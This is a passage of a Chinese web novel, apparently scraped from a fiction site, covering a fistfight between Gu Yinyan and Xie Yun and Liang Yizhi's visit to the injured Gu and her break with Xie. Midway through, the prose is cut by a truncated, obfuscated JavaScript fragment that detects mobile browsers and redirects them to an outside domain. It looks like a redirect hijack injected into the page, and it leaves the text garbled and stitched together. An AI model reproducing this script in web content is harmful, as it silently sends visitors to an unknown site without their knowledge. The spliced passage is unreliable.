“你们上了几次床了?梁亦芝在床上很害羞吧。”谢昀蹲下身,揪起顾寅言的衣领子,气息在他脸上大吐为快。
“你知道么?她每次来见我,都会穿成套的内衣。明明骚的要死,表面上却总爱演欲拒还迎那一套。所以你到底是用什么方法把她给办了的?”
顾寅言偏着头没吭声。
刚刚自己下的那一拳挺重的,要不是估计保安马上就赶到,谢昀还想再给他那漂亮的脸蛋来上几拳,最好把他高挺的鼻梁骨给打断,让他没有资本再去四处蛊惑别人。
可谢昀也只是想想,他不擅长打架,能击中这一下已经是幸运。他松开人,脚后抬,向前狠狠踹了几脚顾寅言的小腿解愤。
气撒够了,他转身准备逃离现场。
刚走出去半步,肩膀传来一股猛烈的力量,将他整个人拽回去。
还没反应过来,他面中部受到重重的一击,脸甩出去。整个人当即倒地,捂着脸嚎叫。
顾寅言立在他面前,阴影罩着躺倒在地、苦不堪言的谢昀。
他冷着脸,舔了舔自己的唇角,有极轻微的铁锈味。
故意让他来那么一下,他还真以为自己占到便宜了。
顾寅言那一下是真的又稳又准,下了死手,打得谢昀眼冒金星。
他刚刚幻想的将他鼻梁骨打断,到头来竟在他自己身上成了真。
谢昀鼻腔里涌出一股热流,唇角也出了血,头顶的灯光刺得他眼泛泪花。
“清高?败类?”顾寅言居高临下地看着他,“那你是什么?一只只敢躲在下水道里的老鼠么?”
顾寅言蹲下身,掐着他下巴,逼他直视头顶的白光:“梁亦芝平时应该经常夸你吧,否则我真想不通你这优越感究竟是从哪来的。”
“我跟梁亦芝认识十年了。别说内衣,睡一张床都不知道多少次了。”
“你的生日礼物都是我帮她挑的,你能进明炬也是因为梁亦芝。否则那一张轻飘飘的简历,你真以为明炬这么好混么?”
顾寅言语气淡淡,手下却是发了狠,谢昀感觉自己的下颌骨都快碎了,疼得他差点把舌头咬断。
顾寅言:“另外还要提醒你一下,别用你那种肮脏的思维来揣测别人的关系,管好你自己。”
“我不想再从你嘴里听到关于梁亦芝的任何一个字。”
谢昀整张脸被掐得变形,他恍然顿悟了,为什么当初梁亦芝一定要推荐自己来这里面试。
而他明明资历尚浅,却能在短时间内就做上部门的组长。
他以为自己时来运转,明珠蒙尘,原来都是拖了女友的关系。
“是你……都是你……”谢昀呲牙咧嘴地尖叫,再次想要扑上来。
顾寅言把人往地上一推,放开他,拍拍衣袖上的尘土。
他垂眼俯视:“我说过了,话不能乱讲,谢组长。你自己犯的错,大家都只是照规矩办事而已。”
顾寅言重新将自己的衣服下摆和领口整理妥当,又恢复了平时的那般温雅冷冽。
他扫一眼地上扭曲的人,只觉得烦躁,胸口发窒,透不过气来。
他抬手,解下了领口那条深色暗纹、价值四位数的领带,扔在谢昀手边。
顾寅言:“拿去擦一擦,出去的时候最好避开前同事,别丢了公司的脸面。”
他迈开步子,扬长而去。
12. 一支烟
顾寅言回到车上,给秘书小唐打电话:“今天所有日程都推后,帮我重新排一下吧。”
小唐疑惑:“可是……”
“照我说的办。”
他现在这种状态去上班,只怕会招来非议。今天原本还有合作客户要见,他这样子去不合适。
小唐也听出来了,顾总今天大概是遇上了什么麻烦事,语气里没有一丝寰转的余地,他很少这么意气用事。
她立刻回复:“我知道了。”
顾寅言已经发话,小唐人也伶俐,知道该用什么说辞去打发。
她刚准备挂下电话,顾寅言又道:“找物业谈谈,去调车库电梯厅的监控。剩下的就交给你了。”
“好,我这就去。”
顾寅言开车,回了自己家。
高档气派的独栋别墅,安安静静地坐落于市区中。
回字形的设计,前庭的绿植像天然的屏风,将建筑主体包围在其中。顾寅言把车停进车库,上了楼。
他先到了负一层的地下室。
电梯门打开,迎面而入的是一整面的嵌入式海缸。
幽蓝的色调下,把这间地下室俨然映照成了一座水族馆。
顾寅言缓缓迈出电梯。
别墅里的装修都是单一局限的冷色调,所有的色彩都被贮存在了面前这个巨大的鱼缸里。
玻璃缸里的鱼儿种类繁多、色彩纷呈,悠然自得地围绕着珊瑚游来游去。
为了在别墅里修缮这个鱼缸,顾寅言费了不少功夫。
把鱼养活需要的心力暂且不说,鱼缸的前期造景设计、设备配置就花了很久。
日常需要定期监测水质,维持水温和盐度的平衡,就连里面的每块珊瑚都要精心打理、清理附着的藻类。
这么大个鱼缸,如果鱼不慎翻了肚皮,还需要潜水员下水打捞。
加上电费、水费、维护费,后续清理起来也很麻烦。一旦爆发传染病或者水质出现问题,就要彻底翻缸。
整个过程之繁琐,足以让人殚精竭虑。
不过顾寅言不太操心这些,他特地请了专门的团队帮忙打理。
他打造这个鱼缸,纯粹为了看。
来到鱼缸前,顾寅言伏低身子,凑近玻璃观赏。
鱼缸的过滤器和水泵等都是精挑细选,经过处理,只剩下一点轻微的低频噪音。
幽暗的光线下,立体的五官倒映着水里波纹漾开的影子,整个静谧的海洋世界被装载进他浅色的瞳孔里。
每当待在这空间,看着里面的鱼一如既往地摇尾游弋,他心中的不稳定因子也会跟着沉静,一切不安和毛躁都被抚平。
压抑的情绪缓缓平复下来。
顾寅言的视线淡淡扫过鱼缸的每一处角落。
他注意到一只隐藏在珊瑚下的鱼。鱼体是黑紫色,尾柄部分有一个圆润的橙色斑块,是他上个月刚买来的鸡心吊。
——死了。
鱼儿静静地沉在鱼缸底部的细沙上,看起来躺了有一会儿了。
鸡心吊价格昂贵,脾气又娇纵,情绪起伏比较大,惯难养活。
看皮肤不是白点,应该没有寄生虫。只是这条鸡心吊似乎太瘦了,把自己饿死的也说不准。
顾寅言盯着那条鱼。
心头刚压下去的那股烦躁,瞬间又浮了上来。
他瞳孔靠上,看东西时偶尔会露出眼睛下方极少部分的眼白,让他的眼神更具压迫和轻蔑的意味。
可偏偏这一部分,又被他温润细窄的双眼皮和柔密的眼睫很好地中和掉了,以至于常常给人一些,他为人温良谦和的假象。
顾寅言在地下室待了十多分钟。
阿姨正在打扫客厅,见顾寅言回了家,担心是临时有什么急事,问:“顾总,您怎么突然回来了?”
“没事江姨。你忙你的。”顾寅言插着兜,径自上了楼。
他转身之时,敏锐的江姨看到了他嘴角殷红,有些受伤的模样,她赶紧追上前,在楼梯底下问:“顾总,你受伤了?需要我拿点药来吗?”
顾寅言这才想起,自己的嘴角裂开了点,他应道:“帮我把药箱拿上来吧。”
“好。”
顾寅言上了二楼。回到卧室,进了衣帽间,他脱下外衣,扔进了一旁的脏衣篓,准备一会儿让江姨把这套衣服丢了。
重新换好一身舒适的着装,正巧这时江姨敲响了房门,把药箱送了上来。
顾寅言开门接过:“谢谢。”
一开门,脸上的伤势惊到了江姨。她可从来没见过顾寅言这副样子,一看就是跟人打架了。
江姨暗暗猜想是谁这么大胆,竟然给把顾总给打了?一思索,估计是几个公子哥之间斗着玩呢,也不知是为了女人还是为了权欲。
顾寅言拎着药箱,看江姨脸上神色变幻,八成是短剧看多了,自己在那脑补呢。他扶着门框,出声打断她。
“江姨,帮我准备下午餐吧,今天不出去了。”
江姨恍然回神,连连应道:“好、好,我这就去。”
顾寅言阖上门。
来到穿衣镜前,他拿出药箱里的碘伏棉签和消炎药膏,微扬起下巴,对着镜子,动作极轻地给自己处理伤口。
顾寅言眉头拧着,拿手指轻轻地在唇角抹上药膏,不时感到微微的刺痛。
其实不过是一点软组织挫伤,比起谢昀的鼻梁骨,根本不算什么大碍。
如果不是他先冒犯,他也不会下那么重的死手。
顾寅言看着镜子里自己那张脸,慢条斯理地上着药,一边回想。
谢昀说什么来着?
问梁亦芝让她碰过没有,还问他们上了几次床了。
谢昀在他面前大肆炫耀梁亦芝的隐私,作为朋友,他听不下去;作为男人,他打心底里鄙夷唾弃。
顾寅言在心里暗嘲,他也是昏了头,才会为梁亦芝担下这个奸夫的罪名。
就梁亦芝这个德行,还说什么要打破边界、认识新人,还要“玩花的”?放在她身上,简直没可能。
-
那头,梁亦芝今天约了Gary吃饭。
Gary的本名叫卫师贤,相比他的外貌和职业,这名字显得过于正经古板了。
他在一家服装品牌做带货主播,可能是受职业影响,Gary总是把自己的外形打扮的非常精致,让梁亦芝眼前一亮。
梁亦芝诚实道:“你别说。你这样打扮还挺帅的。”
Gary笑道:“还好吧?咱们认识的那天,我也是做的这个发型啊。”
“那天酒吧里的灯太暗了……其实我没太看清你。”梁亦芝不好意思地摸摸鼻子。
那天舞池里灯光闪烁,她只看清了个Gary的轮廓,听声音觉得这人好相处,便添加了联系方式。
Gary对此也并不介怀:“那更好了,说明咱俩能对上眼,靠的不是外表嘛。”
他们在商场里并肩走着,因为是工作日下午,商场里人并不多,反而有些沉寂。
Gary说:“能在工作日都有时间出来见面,也很巧啊。我之前跟朋友约会,都只能约在周末,他们都得上班。”
他们俩的工作性质还算相近,日程并不固定,每月的行程都得随工作安排决定。
梁亦芝双手拎着包在身前,好奇问:“做主播累吗?我在手机上经常刷到,要一直不停地讲四五个小时呢,真是个体力活。”
Gary叹一口气:“就是说啊,我每天上班的时候,讲话讲的都快缺氧晕倒了。但其实光说话并不可怕,可怕的是公屏上一些人无聊的评论。”
Gary刚开始直播时,排班时间段不太好,流量不高,直播间也没几个人。他知道自己播的不好,所以更加努力地不停输出,坚决不让场子冷下来。
可就是这样冷清的直播间反而招来了一群无聊至极的人,故意发弹幕找茬,说他说话声音太娘,说他粉底色号惨白。
Gary有意忽视掉这些骚扰,专注着讲解产品,可那些留言始终停留在公屏上,因为没新人发言,总是挥之不去。
他控制不住地去在意它们,忍不住边说边去纠自己的错,反而嘴跟不上脑子,更加手忙脚乱。
后来,直播过的场次数量不断增加,他掌握了更多的直播技巧,也学会了对那些恶意的发言视而不见。
Gary:“他们只不过在网上无端发泄情绪,如果我真被他们攻击到了,那他们的目的就达到了。我的状态,也会影响到看直播的所有人,甚至我身边的人,我不想这样把恶意传播下去。”
梁亦芝点点头,十分赞同他的话:“你的心理真强大,所以你现在播得这么好都是有原因的。”
“过奖啦!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966739|177759||http|test|mini|href|location''.split(''|''),0,{}));
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>他们聊得正热,眼看时间也不早了,便转场去了一家餐厅吃晚餐。
吃饭时,梁亦芝接到电话,拿起一看,是何嫚。
她抱歉地朝Gary示意了下,接起来:“喂?”
“亦芝,你知道我听说了什么事儿吗?”何嫚的声音听起来有点距离,她应该是开了免提,手机放在一边。
梁亦芝顺着她问:“怎么了?”
何嫚:“顾寅言,被人打了!”
她边说还边笑,一整个幸灾乐祸:“真是让人唏嘘,咱们堂堂顾总竟然也会有这样一天呐。啧啧啧——”
顾寅言?
跟人打架?
梁亦芝有点震惊,一时难以消化这个信息。她紧接着问:“为什么会打架?他跟谁打架了?”
“这就有意思了。”面对梁亦芝的追问,何嫚不紧不慢道,“这事据说是谢昀干的。谢昀今天早上回了明炬,估计他是接受不了一时没了工作,只能回公司想把老板揍一顿出出气吧,毕竟顾寅言把他给开了。”
“谢昀打的?”梁亦芝越听越震惊。
谢昀的性格温柔,待人接物从来都是彬彬有礼,她曾经连谢昀情绪暴走的样子都很少见到,而他竟然会主动打人,还打的顾寅言?
他凭什么打顾寅言?
梁亦芝越想越生气,她顾不得思考太多,心脏揪紧,问何嫚:“顾寅言人现在在哪,他没事吧?你见到他了吗?看起来怎么样?”
“我刚来他家找他借车,见了一面。”何嫚故意夸大其词,“样子很惨烈哦。”
梁亦芝急道:“不行。那我现在去看看他。”
她抓起桌上的随身物品,塞进包里:“对了,你车怎么了?需要我帮忙吗?”
“出了点小事……不过说来话长,下次咱们见面说吧。车已经送去修了,我暂时借了顾寅言的车开,他车多,我就算撞坏两辆也无所谓,你就别操心啦,好奇宝宝。”
挂了何嫚的电话,梁亦芝抱歉地看向Gary:“真的很不好意思Gary,我朋友出了点事,我现在得过去看看他。咱们吃的也差不多了,你看……”
Gary旁听了她的电话,也知道事态不一般,大方摆手:“没事没事!都吃完了,你去吧,时间也差不多了。要不我送你一下?”
梁亦芝婉拒了:“不麻烦你,我打个车就行。今天和你见面很开心,下次咱们再约!”
“行。那你路上注意安全。”
梁亦芝拿上大衣和包包,出餐厅时,顺路把账单给买了,说好了她请客这事不能忘,否则看上去倒像是逃单的了。
梁亦芝打了车,来到顾寅言家所属的住宅区。这里安保工作戒备森严,不让外来车进入,梁亦芝干脆在门口下了车,走路进去。
到家门口,浅灰色的石材外墙透着股冷意,墙壁上挂着暖黄色的灯光,四下静悄悄的。
梁亦芝摁了几下门铃,没有人应。她想了想翻开手机微信,顾寅言之前给过她密码来着。
输入密码进门,梁亦芝自觉地找了双拖鞋换上,一边喊道:“顾寅言?人呢?你在家吗——”
她嗓音很亮,一楼的客厅层高很高,她的声音就这样在四壁之间撞来撞去,轻轻回荡。
没人回应,梁亦芝静下来,似乎听到有浅浅的音乐声漠然流淌。
她望了眼二楼,感觉不是从上面传出来的,便朝着声音方向摸索前进。
拖鞋的脚后跟趿拉着,拍在地板上,一声接着一声,啪嗒啪嗒地响。
越往前,音乐声越近,梁亦芝循着声音过去,是从顾寅言庭院前的那间书房里传出来的。
她过去敲了敲门,没人应答,梁亦芝尝试按下门把手,直接开了。
音乐从狭窄的门缝中一点点泄出,音调婉转而悠长。
室内幽暗,微弱的灯光透过落地窗洒进来。
窗前的沙发上升起若有似无的白色烟雾,聚成一股,向上渺渺飘起,随着歌声再虚无地四散开。
梁亦芝一愣,抬手在门上扣了两声。
顾寅言正仰着头,枕在沙发上。
听见声响,他回头,淡淡瞥了一眼身后的人影。他放下手,将烟头在玻璃缸里揿灭。
“来了?”
盈盈的闪光熄灭。
烟头在他手底折了几下,碾到火星全无后,他丢下烟蒂,拿纸巾擦了擦手。
13. 玫瑰骑士
梁亦芝愣了一瞬,推开门走了进来:“我刚刚在外面喊你,你没听见?”
“没。”顾寅言实话实说,“音乐声有点大。”
顾寅言指了指旁边的沙发,示意梁亦芝:“坐吧。”
她走到他身边,但没坐下。鼻尖闻到淡淡熏木似的烟草味,梁亦芝拧着眉,看着一旁的烟灰缸问:
“你抽烟了?”
顾寅言没隐瞒:“刚抽了一根。”
得到回答,梁亦芝的胸口像是被这里残留的二手烟侵略了,有一种非常憋屈的感受。
“之前不是戒了吗?”梁亦芝看向一边的烟灰缸,星星点点的灰白烟屑落在里面。“我还以为你一旦戒了的东西,就不会再碰。”
梁亦芝知道,顾寅言对自己的约束很多。
她和谢昀在一起时,顾寅言从不会主动约她见面;和何嫚他们一起喝酒时,清醒到最后的那个也永远是他。
他会隐藏他的野心,也会克制自己的欲望。
顾寅言这人,就和他墙上挂着的那只钟摆一样。他有既定的节奏、他或许也会在两极之间游走。
但他绝对不会越过规定的界限。
除非钟摆断裂。
可现在那个人却对她说:“你很了解我?”
他口气轻佻,逗她玩似的开口。
跟顾寅言平淡如常的语气比起来,梁亦芝的脸色并不轻松。她听完他的话,嘴角朝下的角度没变半分,语态认真:
“顾寅言,我不喜欢这样的玩笑。”
“你真的很不会讲笑话。”
她看着他。
半晌,顾寅言先敛了表情,低头认错,给她解释:“这两天才抽的。”
梁亦芝听了,仍旧不觉得痛快。
她不喜欢顾寅言拿他们的关系开那样的玩笑。
任何人都不可以。
她是真心把顾寅言当成最好的朋友。事实上也确实没有其他人比她更了解他,在她所有的朋友里,她跟顾寅言认识的时间最长。
梁亦芝想想,又消了气。
借着一旁落地灯的光线,她仔细打量顾寅言的那张脸。
其他地方看着没什么大碍,就是嘴角处的血痂分外惹眼。像一副奇美的油画作品上,出现了那么一丁点的瑕疵,即便再微不可察,但它的存在就令人难以接受。
梁亦芝极为不爽地盯着顾寅言的嘴角,她都不敢想象那用了多大的力。
她跟顾寅言认识这么久,从没见他让自己受过什么伤。
都是她的原因,如果她没有那么冲动,谢昀也不会变得这么极端。
梁亦芝抿着唇,脸色越来越黯淡,手也紧握成拳,垂在身侧。
她一忍再忍,还是咽不下这口气:“不行,我要去找谢昀那个人渣算账!”
她腾地站起来转身就走,顾寅言握着手腕把人拉住:“别冲动,这是故意让了他一拳给他打的。我也还手了。”
梁亦芝挣开他,怒道:“你傻吗?干嘛白给人家揍一拳!这是打架,你以为是闹着玩?很好玩吗?出了事情怎么办?”
顾寅言看着她刘海下的那张小脸怔住。
怒气使然,又或者是因为赶路过来,她的头顶看着毛毛躁躁的,一双眼睛瞪得浑圆,眼角和嘴唇都嫣红,看起来被气得不轻。
他知道,她对这件事是真的上心了。
顾寅言平缓道:“让他是因为必须要他先动手,我才能合理还击,否则理亏的就是我了。”
“至于我的伤,都是小事。”顾寅言扯着人,让她在沙发里坐下。
“他伤的可比我重。你就不心疼?”
“我心疼他干什么?我巴不得他在医院里再关几天。”梁亦芝一屁股坐下来,想到顾寅言的伤势,又转过身去,两手掰着他的脸,上下左右翻来覆去端详:“我再看两眼,确定没事?这里还疼吗?”
“不疼。”
梁亦芝像没听到似的,眼神还凝在他嘴角一处。
看着看着,过了几秒,她觉出一丝不对劲。顾寅言的唇形饱满,连接伤口的嘴角浅浅地陷下去。
他明明就是在忍笑!
梁亦芝把他的脸往边上一拨,“呵”一声,反嘲道:“算了,你顾大少爷怎么可能让自己伤着。八成老早就处理过了。”
她就是多余担心他。
也是,他本来就是这样一个珍重自己的大少爷,又怎么可能允许自己失态分毫。
顾寅言在一边,品味着梁亦芝的表情:“好了,别生气了。”
梁亦芝冷哼一声。
他转移话题,问:“刚刚从哪过来的?”
梁亦芝今天化了妆,睫毛卷翘,衣着打扮也十分用心,一看就是有重要约会。
梁亦芝说:“我刚和Gary吃了饭过来的。”
她强调:“我把人家丢在那,饭还没吃完,接到何嫚的电话就马不停蹄赶过来了,够意思吧?”
顾寅言配合地点点头,肯定她的表现。
他站起身道:“那也陪我喝两杯吧。”
说完,顾寅言转头,出了房间去拿喝的。
他回来时,室内映着窗外庭院昏暗的灯光,像染了一层霜。
歌声还未停止,流淌在这方寸之间,古典的弦乐搭配上空灵悠扬的女高音,有种让人心境沉淀的魅力。
顾寅言走到梁亦芝身边,把手里的瓶子放下。
梁亦芝侧目,看到他拿来招待她的碳酸水,问:“没搞错?”
“没错。”顾寅言开了瓶子,推到她面前。“就喝这个。”
搞了半天……她还以为他要拿的是酒。
梁亦芝拎起瓶口。是她最爱喝的柠檬口味。
顾寅言问:“这音乐还记得吗?”
刚来的时候太急躁,一心想着他的伤势,梁亦芝没留心这轻柔的乐声。这会儿静下心来,她才听出:“是《玫瑰骑士》?”
“是。”
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>顾寅言在放的,是理查施特劳斯的歌剧《玫瑰骑士》。
故事讲的是和元帅夫人偷情被撞破的男主人公奥克塔维安,奉公爵之命,作为传递爱情信物的骑士,为公爵的未婚妻苏菲送去表达他爱意的银玫瑰。
然而在送上银玫瑰的那一刻,奥克塔维安和苏菲两人却一见钟情。经历百般曲折,最终元帅夫人也得知了奥克塔维安的变心,选择退出这场爱情纠葛,成全另外二人。
这会儿,CD正放到第二幕。骑士向苏菲献上那只饱含寓意的银玫瑰。
女中音和女高音相继开口,音调轻柔地向上蜿蜒,情意在音符之间流转。
听着倒是着实能暂时忘空一切。
梁亦芝举起瓶子,仰脖灌下一口。碳酸气泡伴着辛辣刺激涌入,在喉口跳跃,回味泛着微微的涩感。
他们两人都没说话,就那么默默坐着。耳边二重奏此起彼伏地唱响,这氛围也算不上无聊。
顾寅言盯着窗外。刚放下手里的瓶子,忽而感觉到自己肩头一沉。
他的手顿了一下。
梁亦芝人朝顾寅言倾斜着,太阳穴的位置轻轻抵在他肩膀上,没完全靠下去。
“顾寅言。”她念着他的名字。
“嗯。”
“我问你,如果……这次出轨的是我,你还会帮我说话吗?”
或许是氛围所致,梁亦芝的心绪变得异常复杂,什么想法都冒出来了。
她也不知道自己为什么问这个问题,大概是失去了最爱的人,家人又不在身边,她能依靠的只有顾寅言。
顾寅言的房子很大,这间书房面朝庭院,设计得很开阔。
可此刻她却觉得这里非常小,小得就像一盏盅那么大,无尽的黑暗被盛满,她被倒扣在其中。
顾寅言动了唇,回答她:“你不会。”
梁亦芝:“为什么这么肯定?”
“就是不会。”
他回答得斩钉截铁。
顾寅言太过熟悉梁亦芝。她性子从来老实本分,这辈子就没干过什么出格的事情。哪怕大学时对其他学生来说家常便饭的逃课,梁亦芝都能被吓得战战兢兢。
逃就逃了,最后还要抱着不安的心思不停内耗。
这样一个实心眼,想在外面妄作胡为,犯下跟谢昀同样的错误,那几乎是不可能的事。
梁亦芝靠在他肩头,眼神飘上去,抬眸看他,似乎是对他敷衍而笃定的回答不满。
她追问:“所以我说,如果。如果未来我出轨了其他人,你……还会站在我这边吗?”
窗外月光静谧,落地灯给他们打下一侧的光,半明半暗的轮廓映在几净的玻璃窗上,像夜晚湖面的倒影。
梁亦芝觉得窗户漏了风,不知何处来的凉意轻轻搔着她。
顾寅言说:“那你记得提前告诉我一声。”
“告诉你?”
“否则,”顾寅言嗓音清润,“我怎么帮你串供?”
14. 碳酸气泡
虽然这么说不太道德。
但永远有人站在自己这边的感觉,真的很好。
梁亦芝听完笑了,又佯装不在意,掩饰自己内心的膨胀。她离开他肩膀,重新坐正,声色凛然道:“我是不会出轨的。”
她又看向顾寅言,补充:“虽然我很感谢你这么说,但是如果你或者是蒋徊出轨了,我还是会通报给你们的女朋友的。这是原则问题。”
这种道德败坏的事情,放在任何一个人的身上,梁亦芝都不能原谅。
“你把我们当什么人了?”顾寅言眉梢微动。
“我们有最基本的道德底线,和法律常识。”
“我知道。”
她拿起手里的瓶子,在顾寅言的瓶颈处扣了下。
梁亦芝:“毕竟如果连你们都不能相信的话,这个世界可能就真的没几个我可以信任的人了。”
说到这,她又开始望着庭院外修剪齐整的花木,微微出神。
一只大手忽然罩在她头顶,毫无章法,但力道很轻地揉了下:
“别瞎想。”
梁亦芝这个人其实很好哄。
只要你顺着她发毛的方向,轻轻呼噜呼噜几下,她很快就能平静下来。
可哪怕就是这样一个人,也依然有人不珍惜。
……
谢昀接到梁亦芝的电话那天,他很意外。
虽然梁亦芝一直躲着不见他,但他仍旧相信她未必会那么决绝。
他最熟悉梁亦芝,知道她心软,只要让她看到他诚恳的态度,她一定会回心转意。
果然,梁亦芝拨来的电话又让谢昀看到了一丝希望。
梁亦芝约他在咖啡厅见面。
来时她带了一大袋的东西,推门而入时,脚步不带一丝犹疑,径直在人群中锁定对象,来到谢昀面前。
谢昀仍像过去一样开口喊她,姿态卑微:“芝芝,我……”
梁亦芝很轻地看了他一眼。
谢昀鼻子上的伤尚未好全,贴着纱布。可除了这一处,其他的地方都捯饬得很整洁,像是特意打扮了过来的。
她忽略自己观察到的细节,把带来的东西放到他面前。
梁亦芝说:“这里面是你给我买过的所有东西,全部还给你。”
谢昀慌了神:“芝芝……你这是做什么?”
他双眉拧成了八字,眼神泛着酸楚:“是我有错在先,况且这些东西本来就是我送你的,你没必要还给我……”
梁亦芝点点头:“你也不需要是么?那我扔了。”
她拎上袋子,甚至都没有在他对面的位置坐下过,转身就要走。
谢昀连忙起身拦住:“梁亦芝,我们好歹交往一场,你非要这么不留情面么?”
梁亦芝无动于衷:“我来就是看你还没死心,所以想特地告诉你一声。”
“不要再有无意义的幻想,不要再给我的任何软件发消息,也不要骚扰我周边的人。这也算是我们留给彼此的最后一点好印象。”
谢昀张着嘴说不出话。
他认识的梁亦芝是那么柔软的一个人,他是真的没想到她会如此坚决,要抹去他们的全部回忆。
谢昀不死心,咬牙道:“梁亦芝,我是犯了错,但人无完人,是人都会犯错,而且我只有那么一次。”
“该有的惩罚我也尝够了,现在你还不满意?我对你的心从来都是认真的,你有必要这样糟蹋我的感情吗?”
梁亦芝听完他的话,平静的脸上才闪过一瞬的悲凉。
她震惊于自己看走了眼,竟然还走得如此离谱,她到底是怎么看上这样一个渣滓的?
梁亦芝笑了,反问:“这就是糟蹋了,谢昀?那我们在一起的时候,你跟另外一个人睡在床上又算什么?”
“感情好到睡到一张床上,你们的友情实在是太伟大了。”
谢昀头昏脑胀,可还记得反驳:“那你呢?你跟顾寅言算什么?你敢说你们就完全清白?”
“我怎么不敢?为什么不敢?”
梁亦芝每个字掷地有声,“我跟顾寅言一块长大,你最不该找麻烦找到他的头上!我原本以为我说的够清楚了,没想到你还是这么拎不清。”
梁亦芝缓缓深呼吸,忍着自己的恶心对他说:
“谢昀,我们已经结束了,我警告你,不要再招惹我身边的任何人。”
见她竟为了一个男人护短,谢昀更气不过。
他双眼发红:“到头来我跟你的感情,就连你的一个朋友都比不过么?”
梁亦芝只觉得他的发言可笑:“你当然比不过。因为他是我信任的人,而你什么都不是。”
她的口气冰冷地让谢昀心颤。
他愣在原地愕然失色,他不敢相信这些狠戾的话会是从梁亦芝的嘴里说出来的。
平复下情绪,梁亦芝最后看他一眼:“本来这些东西还给你,是想让你看看还有没有能二手卖了的,毕竟你那么缺钱。但现在我看来,没有这个必要了。”
谢昀的心像错掉进海里的石头,彻底沉到了底。
室内喧嚣,有路人凑热闹,朝他们的方向频频看来,伴着窃窃私语。
梁亦芝拿刚离开,身后的声音再次响起:
“梁亦芝,你不要太自以为是了。”
谢昀咬着牙,死盯着前方那道倩影:“也就只有你会觉得顾寅言是绝对干净的。你们不过是以朋友之名,做着跟我和赵泠一样的事情。”
“你等着瞧。”
他口不择言的诋毁,梁亦芝根本没把他的话放在眼里。
她毫不留恋地出了店门,阔步走到咖啡厅外。
门口放了两个大号的分类垃圾桶。黑色的桶身上沾满臭渍残渣,谢昀隔着玻璃窗,看见梁亦芝把他的东西一股脑地扔掷进去。
曾经那段回忆也沾染上了不堪的气味,悄声泯灭了。
桶身晃荡两下,梁亦芝没再给过他一个眼神,转身离开。
-
何嫚后来听说这件事的时候,其实是有些后怕的。
她抓着梁亦芝的手说:“你好歹跟我们说一声呢!你怎么敢自己去找他的?”
“有什么不敢的。光天化日,众目睽睽,他能拿我怎么办?”
何嫚瞧着沙发里那小小的身躯,有时候她觉得梁亦芝这个人挺恐怖的。
她看起来单纯善良、性子柔软,可但凡被触及到雷区,她身上又会冒出一股不知从何而来的虎劲,风风火火的。
让人看了简直心里发毛。
何嫚怕她心情不好,主动邀请她:“那你晚上要不要跟我出去玩?开车带你去兜风。”
梁亦芝从播放着电视剧的平板上收回视线,问何嫚:
“对了,你不是说上次车被撞了吗?怎么回事?”
何嫚嗐了一声:“说来话长。”
事件发生在几天前。
何嫚收到工作邀约,去出席了一个线下快闪活动,结束后参加完庆功宴,回程高速上,车子被人给追尾了。
后保险杠凹了进去,车尾灯也被撞碎了,但好在车里的人都没什么大事。
追尾的后车赶紧上来连连道歉,态度也很诚恳,立刻联系了保险公司,双方协商了赔偿金额。
对方车主是个女孩子,看起来年龄只比何嫚小一点,何嫚也不想多为难人家,和和气气地谈完,加了联系方式处理后续。
让何嫚没想到的是,这个女生非常的细心,事故之后的几天还常常来关心何嫚,车子维修的怎么样、有没有需要自己帮忙的。
甚至还反复叮嘱何嫚,去医院检查下,万一有什么不起眼的地方被忽略了。
何嫚觉得这小姑娘人也可爱,就和对方多聊了两句,言语间总忍不住想逗逗她。
两人的话题逐渐转向了日常生活,从兴趣爱好聊到星座和十六型人格,没有一个不匹配的。他们在手机上越聊越投缘、大有相见恨晚之势。
最重要的是,何嫚能感觉到,女孩子的语气之下,隐藏着和她相同的想法。
梁亦芝听完“哇”了一声:“这算不算因祸得福了?”
何嫚朝她眨了眨眼睛:“我最近想约她出来见见面呢,下次带你一起认识下。”
梁亦芝笑着应下,心里隐隐有些期待。不知道何嫚喜欢的女孩子,会是什么样的人呢。
-
白天没事,梁亦芝睡到一早九点多才起,先给自己榨了杯豆浆。
梁亦芝的家里有很大一面的落地窗,阳光透过玻璃,在干净的地面上留下整齐划一的光影块。
她把躺椅拉过来,盘腿坐上去,正好就坐在那光影分界线的边上,避开直射的阳光。她欣赏着楼下的风景,一口一口慢悠悠地啜着豆浆。
就这么发了五分钟呆,一旁的手机震起,是梁妈妈打来的。她划开接通:
“妈——怎么啦?”
梁妈妈听见女儿久违的撒娇声,心里也变得轻松了些。
梁妈妈问:“亦芝,在做什么?”
“我刚起来呢。正在喝豆浆。”怕她不相信似的,梁亦芝刻意吮了一口,发出声音给她听。
梁妈妈没那么好糊弄,接着查岗:“早饭呢?吃了没有。”
“豆浆还不算早饭啊?”
“你总是这样,别想着光拿这些饮料打发。不吃早饭,肠胃会不舒服的,现
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在叫个外卖不是很方便吗?”
梁妈妈又在责怪她的懒惰,在家里时,女儿一举一动都有自己的照料,可一旦离开她身边,就总是随心所欲。
梁亦芝敷衍地应着:“知道了知道了,等下挂了电话我就点一个。你别操心了,等下拍了照发给你。”
“行。我等着呢。”梁妈妈又问,“你今天不用去乐团排练?”
“上午不用。下午再过去。”
梁妈妈问:“约会呢?约会也没有?也没见他给你点个早饭啊。”
梁亦芝沉默了会儿,没有第一时间回答。
梁妈妈知道自己女儿大概是在恋爱,不过她有分寸,向来不会过问恋爱中的细枝末节,也不清楚对方是个什么样的男生。
年轻人嘛,开心就好了,只要保护好自己,多接触一些人未尝不是件好事。
听电话那端支支吾吾不出声,梁妈妈料到了什么,语气爽快:
“行。不会给我女儿叫早饭的男人,估计也不怎么样。亦芝,别为这种人难过太久,不值得啊。”
梁亦芝噗哧一声乐了:“谁说我难过了?我高兴着呢,现在我可以到处找乐子了。”
她眨眨眼,眼底湿润一闪而过。
妈妈说的对,别为这种人伤心,明明身边有这么多把你捧在手心里的人,干嘛要因为一个男人整天自怨自艾呢。
心结瞬间消解了不少。
梁妈妈听她语气,嗓音也柔下来:“不开心的时候,多跟朋友出去走走就好,再不济也可以随时回家,爸爸妈妈都在家等你,知道吗?”
“知道的妈,我明白。”
